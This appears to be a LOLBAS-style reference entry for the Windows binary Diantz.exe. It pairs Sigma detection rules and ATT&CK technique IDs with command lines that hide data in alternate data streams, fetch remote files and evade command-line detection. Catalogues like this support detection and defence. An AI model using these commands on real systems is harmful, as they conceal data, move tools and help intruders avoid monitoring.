.. /Diantz.exe

Alternate data streams (Compression) | Download (Compression) | Execute (Compression)

Binary that package existing files into a cabinet (.cab) file

Paths:
c:\windows\system32\diantz.exe
c:\windows\syswow64\diantz.exe

Resources:
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz
- https://ss64.com/nt/makecab-directives.html

Acknowledgements:
- Tamir Yehuda (@tim8288)
- Hai Vaknin (@vakninhai)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml
- IOC: diantz storing data into alternate data streams.
- IOC: diantz getting a file from a remote machine or the internet.

Alternate data streams

Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.

```
diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
```

Use case: Hide data compressed into an Alternate Data Stream.
Privileges required: User
Operating systems: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
ATT&CK® technique: T1564.004
Tags: Type: Compression

Download

Download and compress a remote file and store it in a cab file on local machine.

```
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
```

Use case: Download and compress into a cab file.
Privileges required: User
Operating systems: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
ATT&CK® technique: T1105
Tags: Type: Compression

Execute

Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.

```
diantz /f directives.ddf
```

Use case: Bypass command-line based detections
Privileges required: User
Operating systems: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
ATT&CK® technique: T1036
Tags: Type: Compression